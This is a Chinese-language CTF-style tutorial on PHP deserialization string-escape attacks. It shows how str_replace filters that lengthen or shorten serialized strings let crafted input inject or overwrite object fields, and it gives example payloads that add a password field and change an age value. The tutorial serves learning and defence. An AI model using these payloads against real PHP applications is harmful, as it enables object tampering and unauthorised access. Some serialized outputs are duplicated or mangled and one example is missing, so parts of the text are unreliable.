目录
1.先说关键字符变多例题1例题22.关键字符减少总结按我的理解,反序列化的过程就是碰到;}与最前面的{配对后,便停止反序列化。如下序列化:
<?phpclass Test { public $a = "aa"; public $b = "bbb"; public $c = "cccc";}$qwe = new Test();echo serialize($qwe);输出序列化结果为:O:4:"Test":3:{s:1:"a";s:2:"aa";s:1:"b";s:3:"bbb";s:1:"c&q;:3:{s:1:"a";s:2:"aa";s:1:"b";s:3:"bbb";s:1:"c";s:4:"cccc";}hahhahha 并尝试反序列化
print_r(serialize($qwe));echo "";print_r(unserialize('O:4:"Test":3:{s:1:"a";s:2:"aa";s:1:"b";s:3:"bbb";s:1:"c";s:4:"cccc";}hahhaha'));O:4:"Test":3:{s:1:"a";s:2:"aa";s:1:"b";s:3:"bbb";s:1:"c";s:4:"cccc";}Test Object( [a] => aa [b] => bbb [c] => cccc)我们发现成功进行了反序列化操作,并且没有出现报错,因此可以说明反序列化以;}为结束标志,后面的内容则忽略不管。由此是不是想到了sql注入的相关知识?二者确实有一定的可类比性,都是通过构造闭合的方式构造payload,只不过字符逃逸构造闭合注意点在长度,因为闭合标志固定,都是;}
值得一提的是,php中可以通过修改序列化后的字符串来反序列化出原本类中不存在的元素,如下:
或者
?
1=challengechallengechallengechallengechallengechallengechallengechallengechallenge";s:8:"password";s:4:"easy";;;;;;;;}
两个payload都一样的,可以序列化成功,得到flag
2.关键字符减少
在增加字符串的题目中,我们是利用题中的增加操作,阻止他进行向后吞噬我们构造的代码,而在字符减少的过程中,我们也是利用这个操作.
<?phphighlight_file(__file__);function filter($str){ return str_replace('ll', 'l', $str);}class person{ public $name = 'lonmar'; public $age = '100';}同样的,如果构造恶意的age,让反序列化的时候多读,把age一部分读进去 同样可以达到某种目的
正常的数据 O:6:"person":2:{s:4:"name";s:6:"lonmar";s:3:"age";s:3:"xxx";}
如果做替换,让也";s:3:"age";s:3:"被读进name,再把xxx替换为;s:3:“age”;s:3:“100”;}
令$age=123";s:3:"age";s:3:"100";}
O:6:"person":2:{s:4:"name";s:47:"llllllllllllllllllllllllllllllllllllllllllonmar";s:3:"age";s:26:"123";s:3:"age";s:3:"111";}";}
多读的为 ";s:3:"age";s:26:"123 长度 21
构造(l*42)nmar, 就多吞了部分字符串,
name:
llllllllllllllllllllllllllllllllllllllllllonmar =>
lllllllllllllllllllllonmar";s:3:"age";s:26:"123
age:
123";s:3:"age";s:3:"111";}
=>
111

总结
本篇文章就到这里了,希望能够给你带来帮助,也希望您能够多多关注我们的更多内容!







